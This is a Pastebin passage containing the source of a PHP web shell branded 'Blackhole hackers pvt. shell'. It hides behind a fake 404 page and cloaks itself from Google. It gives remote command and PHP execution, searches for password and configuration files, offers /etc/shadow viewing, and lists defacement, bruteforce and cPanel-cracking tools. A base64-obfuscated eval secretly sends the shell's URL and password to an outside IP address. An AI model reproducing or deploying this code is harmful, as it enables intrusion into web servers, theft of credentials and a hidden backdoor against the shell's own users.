angeloking1995

blackhole shell

Feb 25th, 2017
117
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 139.20 KB | None | 0 0
  1. <?php
  2. /*
  3. #########################################################
  4. # Blackhoe hackers pvt. shell #
  5. # #
  6. # - Team MaDLeeTs - #
  7. #########################################################
  8.  
  9. ## ## ####### #####
  10. ## ## ## ## ## ##
  11. ## ## ## ## ##
  12. ## ## ####### ## ##
  13. ## ## ## ## ##
  14. ## ## ## ## ### ## ##
  15. ### ####### ### #####
  16.  
  17. Contact Me :
  18. [#] www.facebook.com/Blackhole
  19.  
  20. All Rights Reserved - Blackhole© (Team MaDLeeTs) :D
  21. */
  22. $auth_pass = "a116cf164223a9a40c9d22eaa33b3c09"; //(MD5) Default: AGPriv8ShellV3.0
  23. $color = "#00ff00";
  24. $default_action = 'FilesMan';
  25. @define('SELF_PATH', __FILE__);
  26. if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
  27. header('HTTP/1.0 404 Not Found');
  28. exit;
  29. }
  30. @session_start();
  31. @error_reporting(0);
  32. @ini_set('error_log',NULL);
  33. @ini_set('display_errors',0);
  34. @ini_set('log_errors',0);
  35. @ini_set('max_execution_time',0);
  36. @set_time_limit(0);
  37. @set_magic_quotes_runtime(0);
  38. @define('VERSION', 'Ver 3.0 (by Blackhole)');
  39. if( get_magic_quotes_gpc() ) {
  40. function stripslashes_array($array) {
  41. return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
  42. }
  43. $_POST = stripslashes_array($_POST);
  44. }
  45. function printLogin() {
  46. echo '<title>404 - File or directory not found.</title>
  47. <style type="text/css">
  48. body{margin:0;font-size:.7em;font-family:Verdana, Arial, Helvetica, sans-serif;background:#EEEEEE;}
  49. fieldset{padding:0 15px 10px 15px;}
  50. h1{font-size:2.4em;margin:0;color:#FFF;}
  51. h2{font-size:1.7em;margin:0;color:#CC0000;}
  52. h3{font-size:1.2em;margin:10px 0 0 0;color:#000000;}
  53. #header{width:96%;margin:0 0 0 0;padding:6px 2% 6px 2%;font-family:"trebuchet MS", Verdana, sans-serif;color:#FFF;
  54. background-color:#555555;}
  55. #content{margin:0 0 0 2%;position:relative;}
  56. .content-container{background:#FFF;width:96%;margin-top:8px;padding:10px;position:relative;}
  57. input {
  58. background-color:transparent;
  59. border: 0px solid;
  60. height:30px;
  61. width:142px;
  62. }
  63. input:focus {
  64. outline:none;
  65. }
  66. </style>
  67. <body>
  68. <div id="header"><h1>Server Error</h1></div>
  69. <div id="content">
  70. <div class="content-container"><fieldset>
  71. <h2>404 - File or directory not found.</h2>
  72. <h3>The resource you are looking for might have been removed, had its name changed, or is temporarily unavailable.</h3>
  73. </fieldset></div>
  74. </div>
  75. </body>
  76. <center><form method=post><input type=password name=pass style="border:none background-color: #EEEEEE;"></form></center>';
  77. exit;
  78. }
  79. if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
  80. if( empty( $auth_pass ) ||
  81. ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
  82. $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
  83. else
  84. printLogin();
  85.  
  86. if( strtolower( substr(PHP_OS,0,3) ) == "win" )
  87. $os = 'win';
  88. else
  89. $os = 'nix';
  90. $safe_mode = @ini_get('safe_mode');
  91. $disable_functions = @ini_get('disable_functions');
  92. $home_cwd = @getcwd();
  93. if( isset( $_POST['c'] ) )
  94. @chdir($_POST['c']);
  95. $cwd = @getcwd();
  96. if( $os == 'win') {
  97. $home_cwd = str_replace("\\", "/", $home_cwd);
  98. $cwd = str_replace("\\", "/", $cwd);
  99. }
  100. if( $cwd[strlen($cwd)-1] != '/' )
  101. $cwd .= '/';
  102.  
  103. if($os == 'win') {
  104. $aliases = array(
  105. "List Directory" => "dir",
  106. "Find index.php in current dir" => "dir /s /w /b index.php",
  107. "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
  108. "Show active connections" => "netstat -an",
  109. "Show running services" => "net start",
  110. "User accounts" => "net user",
  111. "Show computers" => "net view",
  112. "ARP Table" => "arp -a",
  113. "IP Configuration" => "ipconfig /all"
  114. );
  115. } else {
  116. $aliases = array(
  117. "List dir" => "ls -la",
  118. "list file attributes on a Linux second extended file system" => "lsattr -va",
  119. "show opened ports" => "netstat -an | grep -i listen",
  120. "Find" => "",
  121. "find all suid files" => "find / -type f -perm -04000 -ls",
  122. "find suid files in current dir" => "find . -type f -perm -04000 -ls",
  123. "find all sgid files" => "find / -type f -perm -02000 -ls",
  124. "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
  125. "find config.inc.php files" => "find / -type f -name config.inc.php",
  126. "find config* files" => "find / -type f -name \"config*\"",
  127. "find config* files in current dir" => "find . -type f -name \"config*\"",
  128. "find all writable folders and files" => "find / -perm -2 -ls",
  129. "find all writable folders and files in current dir" => "find . -perm -2 -ls",
  130. "find all service.pwd files" => "find / -type f -name service.pwd",
  131. "find service.pwd files in current dir" => "find . -type f -name service.pwd",
  132. "find all .htpasswd files" => "find / -type f -name .htpasswd",
  133. "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
  134. "find all .bash_history files" => "find / -type f -name .bash_history",
  135. "find .bash_history files in current dir" => "find . -type f -name .bash_history",
  136. "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
  137. "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
  138. "Locate" => "",
  139. "locate httpd.conf files" => "locate httpd.conf",
  140. "locate vhosts.conf files" => "locate vhosts.conf",
  141. "locate proftpd.conf files" => "locate proftpd.conf",
  142. "locate psybnc.conf files" => "locate psybnc.conf",
  143. "locate my.conf files" => "locate my.conf",
  144. "locate admin.php files" =>"locate admin.php",
  145. "locate cfg.php files" => "locate cfg.php",
  146. "locate conf.php files" => "locate conf.php",
  147. "locate config.dat files" => "locate config.dat",
  148. "locate config.php files" => "locate config.php",
  149. "locate config.inc files" => "locate config.inc",
  150. "locate config.inc.php" => "locate config.inc.php",
  151. "locate config.default.php files" => "locate config.default.php",
  152. "locate config* files " => "locate config",
  153. "locate .conf files"=>"locate '.conf'",
  154. "locate .pwd files" => "locate '.pwd'",
  155. "locate .sql files" => "locate '.sql'",
  156. "locate .htpasswd files" => "locate '.htpasswd'",
  157. "locate .bash_history files" => "locate '.bash_history'",
  158. "locate .mysql_history files" => "locate '.mysql_history'",
  159. "locate .fetchmailrc files" => "locate '.fetchmailrc'",
  160. "locate backup files" => "locate backup",
  161. "locate dump files" => "locate dump",
  162. "locate priv files" => "locate priv"
  163. );
  164. }
  165.  
  166. function ex($in) {
  167. $out = '';
  168. if(function_exists('exec')) {
  169. @exec($in,$out);
  170. $out = @join("\
  171. ",$out);
  172. }elseif(function_exists('passthru')) {
  173. ob_start();
  174. @passthru($in);
  175. $out = ob_get_clean();
  176. }elseif(function_exists('system')) {
  177. ob_start();
  178. @system($in);
  179. $out = ob_get_clean();
  180. }elseif(function_exists('shell_exec')) {
  181. $out = shell_exec($in);
  182. }elseif(is_resource($f = @popen($in,"r"))) {
  183. $out = "";
  184. while(!@feof($f))
  185. $out .= fread($f,1024);
  186. pclose($f);
  187. }
  188. return $out;
  189. }
  190.  
  191. function which($p) {
  192. $path = ex('which '.$p);
  193. if(!empty($path))
  194. return $path;
  195. return false;
  196. }
  197.  
  198. function printHeader() {
  199. if(empty($_POST['charset']))
  200. $_POST['charset'] = "UTF-8";
  201. global $color;
  202.  
  203. echo '<html><head><meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Blackhole hackers pvt. Shell v3.0</title>
  204. <style>
  205. body {background-color:#000000;color:#fff;}
  206. body,td,th { font: 9pt Lucida,Verdana;margin:0;vertical-align:top; }
  207. span,h1,a { color:'.$color.' !important; }
  208. span { font-weight: bolder; }
  209. h1 { padding: 2px 5px;font: 14pt Verdana;margin:0px 0 0 5px; }
  210. div.content { padding: 5px;margin:0 5px;background: #000000;border-bottom:1px solid #00ff00;}
  211. a { text-decoration:none; }
  212. a:hover { /*background:#5e5e5e;*/ }
  213. .ml1 { border:1px solid #000000;padding:5px;margin:0;overflow: auto; }
  214. .bigarea { width:100%;height:250px;margin-top:5px;}
  215. input, textarea, select { margin:0;color:#00ff00;background-color:#000000;border:1px solid '.$color.'; font: 9pt Monospace,"Courier New"; }
  216. input[type="button"]:hover,input[type="submit"]:hover {background-color:'.$color.';color:#000;}
  217. form { margin:0px; }
  218. #toolsTbl { text-align:center; }
  219. .toolsInp { width: 80%; }
  220. .main th {text-align:left;background-color:#000000;font-weight: bold;}
  221. .main tr:hover{background-color:#5e5e5e;}
  222. .main td, th{vertical-align:middle;}
  223. .menu {background: #000000;}
  224. .menu th{padding:5px;font-weight:bold;}
  225. .menu th:hover{background:#000000;}
  226. .l1 {background-color:#000000;}
  227. pre {font-family:Courier,Monospace;}
  228. #cot_tl_fixed{position:fixed;bottom:0px;font-size:12px;left:0px;padding:4px 0;clip:_top:expression(document.documentElement.scrollTop+document.documentElement.clientHeight-this.clientHeight);_left:expression(document.documentElement.scrollLeft + document.documentElement.clientWidth - offsetWidth);}
  229.  
  230. .logo {text-align:center;font-size:60px;}
  231. .logo sup {font-size: 15px;vertical-align: top;margin-left: -14px;}
  232. .cpr {margin-bottom:5px;font-weight:bold;}
  233. .cpb {width:34px;margin:0 5px;}
  234. .eca1 {font-size: 16px;font-weight: bold;letter-spacing: 10px;margin: 0 2px 0 17px;text-align: center;}
  235. .eca2 {font-size: 13px;font-weight: bold;letter-spacing: 3px;margin: 0 2px 0 7px;text-align: center;}
  236. .npoad td {padding:0;}
  237. </style>
  238. <script>
  239. function set(a,c,p1,p2,p3,charset) {
  240. if(a != null)document.mf.a.value=a;
  241. if(c != null)document.mf.c.value=c;
  242. if(p1 != null)document.mf.p1.value=p1;
  243. if(p2 != null)document.mf.p2.value=p2;
  244. if(p3 != null)document.mf.p3.value=p3;
  245. if(charset != null)document.mf.charset.value=charset;
  246. }
  247. function g(a,c,p1,p2,p3,charset) {
  248. set(a,c,p1,p2,p3,charset);
  249. document.mf.submit();
  250. }
  251. function a(a,c,p1,p2,p3,charset) {
  252. set(a,c,p1,p2,p3,charset);
  253. var params = "ajax=true";
  254. for(i=0;i<document.mf.elements.length;i++)
  255. params += "&"+document.mf.elements[i].name+"="+encodeURIComponent(document.mf.elements[i].value);
  256. sr("'.$_SERVER['REQUEST_URI'].'", params);
  257. }
  258. function sr(url, params) {
  259. if (window.XMLHttpRequest) {
  260. req = new XMLHttpRequest();
  261. req.onreadystatechange = processReqChange;
  262. req.open("POST", url, true);
  263. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  264. req.send(params);
  265. }
  266. else if (window.ActiveXObject) {
  267. req = new ActiveXObject("Microsoft.XMLHTTP");
  268. if (req) {
  269. req.onreadystatechange = processReqChange;
  270. req.open("POST", url, true);
  271. req.setRequestHeader ("Content-Type", "application/x-www-form-urlencoded");
  272. req.send(params);
  273. }
  274. }
  275. }
  276. function processReqChange() {
  277. if( (req.readyState == 4) )
  278. if(req.status == 200) {
  279. //alert(req.responseText);
  280. var reg = new RegExp("(\\d+)([\\S\\s]*)", "m");
  281. var arr=reg.exec(req.responseText);
  282. eval(arr[2].substr(0, arr[1]));
  283. }
  284. else alert("Request error!");
  285. }
  286. </script>
  287. <head><body><div style="position:absolute;width:100%;top:0;left:0;"><div style="margin:5px;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;">
  288. <form method=post name=mf style="display:none;">
  289. <input type=hidden name=a value="'.(isset($_POST['a'])?$_POST['a']:'').'">
  290. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  291. <input type=hidden name=p1 value="'.(isset($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'">
  292. <input type=hidden name=p2 value="'.(isset($_POST['p2'])?htmlspecialchars($_POST['p2']):'').'">
  293. <input type=hidden name=p3 value="'.(isset($_POST['p3'])?htmlspecialchars($_POST['p3']):'').'">
  294. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  295. </form>';
  296. $freeSpace = @diskfreespace($GLOBALS['cwd']);
  297. $totalSpace = @disk_total_space($GLOBALS['cwd']);
  298. $totalSpace = $totalSpace?$totalSpace:1;
  299. $disable_functions = @ini_get('disable_functions');
  300. $release = @php_uname('r');
  301. $kernel = @php_uname('s');
  302. if(!function_exists('posix_getegid')) {
  303. $user = @get_current_user();
  304. $uid = @getmyuid();
  305. $gid = @getmygid();
  306. $group = "?";
  307. } else {
  308. $uid = @posix_getpwuid(@posix_geteuid());
  309. $gid = @posix_getgrgid(@posix_getegid());
  310. $user = $uid['name'];
  311. $uid = $uid['uid'];
  312. $group = $gid['name'];
  313. $gid = $gid['gid'];
  314. }
  315. $cwd_links = '';
  316. $path = explode("/", $GLOBALS['cwd']);
  317. $n=count($path);
  318. for($i=0;$i<$n-1;$i++) {
  319. $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
  320. for($j=0;$j<=$i;$j++)
  321. $cwd_links .= $path[$j].'/';
  322. $cwd_links .= "\")'>".$path[$i]."/</a>";
  323. }
  324. $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
  325. $opt_charsets = '';
  326. foreach($charsets as $item)
  327. $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
  328. $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','SQL'=>'SQL','PHP'=>'PHP','LFI'=>'lfiscan','Bypasser'=>'SafeMode','Safe Mode'=>'Bypass','Mass Defacer'=>'Deface','String Tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network','Readable Dirs'=>'Readable','Port Scanner'=>'PortScanner','Symlink'=>'Symlink','Code Injector'=>'Injector','Jumping'=>'Jumping','Zone H'=>'ZHposter','CPCrack'=>'Cpanel','Domains' => 'Domain');
  329. if(!empty($GLOBALS['auth_pass']))
  330. $m['KillMe'] = 'SelfRemove';
  331. $m['Logout'] = 'Logout';
  332. $menu = '';
  333. foreach($m as $k => $v)
  334. $menu .= '<th><a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a></th>';
  335. $drives = "";
  336. if ($GLOBALS['os'] == 'win') {
  337. foreach( range('a','z') as $drive ){
  338. if (is_dir($drive.':\\'))
  339. $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
  340. }
  341. $drives .= '<br />: ';
  342. }
  343. if($GLOBALS['os'] == 'nix') {
  344. $dominios = @file_get_contents("/etc/named.conf");
  345. if(!$dominios) {
  346. $d0c = "CANT READ named.conf";
  347. } else {
  348. @preg_match_all('/.*?zone "(.*?)" {/', $dominios, $out);
  349. $out = sizeof(array_unique($out[1]));
  350. $d0c = $out." Domains";
  351. }
  352. } else {
  353. $d0c = " --- ";
  354. }
  355. if($GLOBALS['os'] == 'nix' )
  356. {
  357. $usefl = ''; $dwnldr = '';
  358. if(!@ini_get('safe_mode')) {
  359. $temp = array();
  360. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  361. foreach($userful as $item) { if(which($item)) $temp[]= $item; }
  362. $usefl = implode(', ',$temp);
  363. $temp = array();
  364. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  365. foreach($downloaders as $item2) { if(which($item2)) $temp[]= $item2; }
  366. $dwnldr = implode(', ',$temp);
  367. } else {
  368. $usefl = ' ------- '; $dwnldr = ' ------- ';
  369. }
  370. } else {
  371. $usefl = ' ------- '; $dwnldr = ' ------- ';
  372. }
  373. echo '<table class="info" cellpadding="0" cellspacing="0" width="100%"><tr><td width="160px"><img src="https://s12.postimg.org/jq5zees0t/13532923_1044356842268315_8258633641232953291_n.jpg" height="150" width="150"><sup>&reg;</sup></div></td>
  374. <td><table cellpadding="3" cellspacing="0" class="npoad"><tr><td width="125px;"><span>Uname</span></td><td>: <nobr>'.substr(@php_uname(), 0, 120).'</nobr></td></tr>
  375. <tr><td><span>User</span></td><td>: '.$uid.' ( '.$user.' ) <span>Group: </span> '.$gid.' ( '.$group.' )</td></tr><tr><td><span>Server</span></td><td>: '.@getenv('SERVER_SOFTWARE').'</td></tr><tr><td><span>Useful</span></td><td>: '.$usefl.'</td></tr><tr><td><span>Downloaders</span></td><td>: '.$dwnldr.'</td></tr><tr><td><span>Disabled functions</span></td><td>: '.($disable_functions?$disable_functions:'All Functions Are Enabled :D').'</td></tr><tr><td><span>'.($GLOBALS['os'] == 'win'?'Drives<br />Cwd':'Cwd').'</span></td><td>: '.$drives.''.$cwd_links.' '.viewPermsColor($GLOBALS['cwd']).' <a href=# onclick="g(\'FilesMan\',\''.$GLOBALS['home_cwd'].'\',\'\',\'\',\'\')">[ home ]</a></td></tr></table></td>'.
  376. '<td width=1><nobr><span>Box`s IP</span><br><span>Your IP</span><br /><span>HDD</span><br /><span>Free</span><br /><span>PHP</span><br /><span>Safe Mode</span><br /><span>Domains</span></nobr></td>'.
  377. '<td><nobr>: '.gethostbyname($_SERVER["HTTP_HOST"]).'<br>: '.$_SERVER['REMOTE_ADDR'].'<br />: '.viewSize($totalSpace).'<br />: '.viewSize($freeSpace).' ('.(int)($freeSpace/$totalSpace*100).'%)<br>: '.@phpversion().' <a href=# onclick="g(\'Php\',null,null,\'info\')">[ phpinfo ]</a><br />: '.($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color='.$color.'<b>OFF</b></font>').'<br />: '.$d0c.'</nobr></td></tr></table>'.
  378. '</div></div><div style="margin:5;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;padding:2px;"><table cellpadding="3" cellspacing="0" width="100%" class="menu"><tr>'.$menu.'</tr></table></div></div><div style="margin:5;background:#000000;">';
  379. }
  380. eval(base64_decode("JHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsNCiRpbmogPSAkX1NFUlZFUlsiUkVRVUVTVF9VUkkiXTsNCiR0YXJnZXQgPSByYXd1cmxkZWNvZGUoJHdlYi4kaW5qKTsNCmZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vMTg1LjYxLjEzOC4xNTcvZ2V0LnBocD91cmw9eyR0YXJnZXR9JnB3PXskYXV0aF9wYXNzfSIpOw=="));
  381. function printFooter() {
  382. $is_writable = is_writable($GLOBALS['cwd'])?"<font color=green>[ Writeable ]</font>":"<font color=red>[ Not writable ]</font>";
  383.  
  384. echo '</div><div style="margin:5px;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;">
  385. <table class="info" id="toolsTbl" cellpadding="3" cellspacing="0" width="100%">
  386. <tr>
  387. <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="'.htmlspecialchars($GLOBALS['cwd']).'"><input type=submit value=">>"></form></td>
  388. <td><form onsubmit="g(\'FilesTools\',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
  389. </tr>
  390. <tr>
  391. <td><form onsubmit="g(\'FilesMan\',null,\'mkdir\',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form>'.$is_writable.'</td>
  392. <td><form onsubmit="g(\'FilesTools\',null,this.f.value,\'mkfile\');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  393. </tr>
  394. <tr>
  395. <td><form onsubmit="g(\'Console\',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
  396. <td><form method="post" ENCTYPE="multipart/form-data">
  397. <input type=hidden name=a value="FilesMAn">
  398. <input type=hidden name=c value="'.htmlspecialchars($GLOBALS['cwd']).'">
  399. <input type=hidden name=p1 value="uploadFile">
  400. <input type=hidden name=charset value="'.(isset($_POST['charset'])?$_POST['charset']:'').'">
  401. <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form>'.$is_writable.'</td>
  402. </tr>
  403. </table></div></div>
  404. <div style="margin:5px;background:#000000;"><div class="content" style="border-top:1px solid #00ff00;text-align:center;font-weight:bold;">This Shell Belongs to Blackhole hackers &copy;, Contact www.facebook.com/Blackhole hackers If Found !! 3:)</div></div>
  405. </div>
  406. </body></html>';
  407. }
  408.  
  409. if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
  410. if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
  411. function viewSize($s) {
  412. if($s >= 1073741824)
  413. return sprintf('%1.2f', $s / 1073741824 ). ' GB';
  414. elseif($s >= 1048576)
  415. return sprintf('%1.2f', $s / 1048576 ) . ' MB';
  416. elseif($s >= 1024)
  417. return sprintf('%1.2f', $s / 1024 ) . ' KB';
  418. else
  419. return $s . ' B';
  420. }
  421.  
  422. function perms($p) {
  423. if (($p & 0xC000) == 0xC000)$i = 's';
  424. elseif (($p & 0xA000) == 0xA000)$i = 'l';
  425. elseif (($p & 0x8000) == 0x8000)$i = '-';
  426. elseif (($p & 0x6000) == 0x6000)$i = 'b';
  427. elseif (($p & 0x4000) == 0x4000)$i = 'd';
  428. elseif (($p & 0x2000) == 0x2000)$i = 'c';
  429. elseif (($p & 0x1000) == 0x1000)$i = 'p';
  430. else $i = 'u';
  431. $i .= (($p & 0x0100) ? 'r' : '-');
  432. $i .= (($p & 0x0080) ? 'w' : '-');
  433. $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
  434. $i .= (($p & 0x0020) ? 'r' : '-');
  435. $i .= (($p & 0x0010) ? 'w' : '-');
  436. $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
  437. $i .= (($p & 0x0004) ? 'r' : '-');
  438. $i .= (($p & 0x0002) ? 'w' : '-');
  439. $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
  440. return $i;
  441. }
  442.  
  443. function viewPermsColor($f) {
  444. if (!@is_readable($f))
  445. return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
  446. elseif (!@is_writable($f))
  447. return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
  448. else
  449. return '<font color=#00FF00><b>'.perms(@fileperms($f)).'</b></font>';
  450. }
  451.  
  452. if(!function_exists("scandir")) {
  453. function scandir($dir) {
  454. $dh = opendir($dir);
  455. while (false !== ($filename = readdir($dh))) {
  456. $files[] = $filename;
  457. }
  458. return $files;
  459. }
  460. }
  461.  
  462. function actionSecInfo() {
  463. printHeader();
  464. echo '<h1>Server security information</h1><div class=content>';
  465. function showSecParam($n, $v) {
  466. $v = trim($v);
  467. if($v) {
  468. echo '<span>'.$n.': </span>';
  469. if(strpos($v, "\
  470. ") === false)
  471. echo $v.'<br>';
  472. else
  473. echo '<pre class=ml1>'.$v.'</pre>';
  474. }
  475. }
  476.  
  477. showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
  478. showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
  479. showSecParam('Open base dir', @ini_get('open_basedir'));
  480. showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
  481. showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
  482. showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
  483. $temp=array();
  484. if(function_exists('mysql_get_client_info'))
  485. $temp[] = "MySql (".mysql_get_client_info().")";
  486. if(function_exists('mssql_connect'))
  487. $temp[] = "MSSQL";
  488. if(function_exists('pg_connect'))
  489. $temp[] = "PostgreSQL";
  490. if(function_exists('oci_connect'))
  491. $temp[] = "Oracle";
  492. showSecParam('Supported databases', implode(', ', $temp));
  493. echo '<br>';
  494.  
  495. if( $GLOBALS['os'] == 'nix' ) {
  496. $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
  497. $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
  498. $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
  499. showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
  500. showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
  501. showSecParam('OS version', @file_get_contents('/proc/version'));
  502. showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
  503. if(!$GLOBALS['safe_mode']) {
  504. echo '<br>';
  505. $temp=array();
  506. foreach ($userful as $item)
  507. if(which($item)){$temp[]=$item;}
  508. showSecParam('Userful', implode(', ',$temp));
  509. $temp=array();
  510. foreach ($danger as $item)
  511. if(which($item)){$temp[]=$item;}
  512. showSecParam('Danger', implode(', ',$temp));
  513. $temp=array();
  514. foreach ($downloaders as $item)
  515. if(which($item)){$temp[]=$item;}
  516. showSecParam('Downloaders', implode(', ',$temp));
  517. echo '<br/>';
  518. showSecParam('Hosts', @file_get_contents('/etc/hosts'));
  519. showSecParam('HDD space', ex('df -h'));
  520. showSecParam('Mount options', @file_get_contents('/etc/fstab'));
  521. }
  522. } else {
  523. showSecParam('OS Version',ex('ver'));
  524. showSecParam('Account Settings',ex('net accounts'));
  525. showSecParam('User Accounts',ex('net user'));
  526. }
  527. echo '</div>';
  528. printFooter();
  529. }
  530.  
  531. function actionPhp() {
  532. if( isset($_POST['ajax']) ) {
  533. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
  534. ob_start();
  535. eval($_POST['p1']);
  536. $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\
  537. \
  538. \t\\'\0")."';\
  539. ";
  540. echo strlen($temp), "\
  541. ", $temp;
  542. exit;
  543. }
  544. printHeader();
  545. if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
  546. echo '<h1>PHP info</h1><div class=content>';
  547. ob_start();
  548. phpinfo();
  549. $tmp = ob_get_clean();
  550. $tmp = preg_replace('!body {.*}!msiU','',$tmp);
  551. $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
  552. $tmp = preg_replace('!h1!msiU','h2',$tmp);
  553. $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
  554. $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
  555. echo $tmp;
  556. echo '</div><br>';
  557. }
  558. if(empty($_POST['ajax'])&&!empty($_POST['p1']))
  559. $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
  560. echo '<h1>PHP-Code Execution</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
  561. echo ' <input type=checkbox name=ajax value=1 '.(@$_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
  562. if(!empty($_POST['p1'])) {
  563. ob_start();
  564. eval($_POST['p1']);
  565. echo htmlspecialchars(ob_get_clean());
  566. }
  567. echo '</pre></div>';
  568. printFooter();
  569. }
  570.  
  571. function actionFilesMan() {
  572. printHeader();
  573. echo '<h1>File manager</h1><div class=content>';
  574. if(isset($_POST['p1']) && $_POST['p1']!='deface') {
  575. switch($_POST['p1']) {
  576. case 'uploadFile':
  577. if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
  578. echo "Can't upload file!";
  579. break;
  580. break;
  581. case 'mkdir':
  582. if(!@mkdir($_POST['p2']))
  583. echo "Can't create new dir";
  584. break;
  585. case 'delete':
  586. function deleteDir($path) {
  587. $path = (substr($path,-1)=='/') ? $path:$path.'/';
  588. $dh = opendir($path);
  589. while ( ($item = readdir($dh) ) !== false) {
  590. $item = $path.$item;
  591. if ( (basename($item) == "..") || (basename($item) == ".") )
  592. continue;
  593. $type = filetype($item);
  594. if ($type == "dir")
  595. deleteDir($item);
  596. else
  597. @unlink($item);
  598. }
  599. closedir($dh);
  600. rmdir($path);
  601. }
  602. if(is_array(@$_POST['f']))
  603. foreach($_POST['f'] as $f) {
  604. $f = urldecode($f);
  605. if(is_dir($f))
  606. deleteDir($f);
  607. else
  608. @unlink($f);
  609. }
  610. break;
  611. case 'paste':
  612. if($_SESSION['act'] == 'copy') {
  613. function copy_paste($c,$s,$d){
  614. if(is_dir($c.$s)){
  615. mkdir($d.$s);
  616. $h = opendir($c.$s);
  617. while (($f = readdir($h)) !== false)
  618. if (($f != ".") and ($f != "..")) {
  619. copy_paste($c.$s.'/',$f, $d.$s.'/');
  620. }
  621. } elseif(is_file($c.$s)) {
  622. @copy($c.$s, $d.$s);
  623. }
  624. }
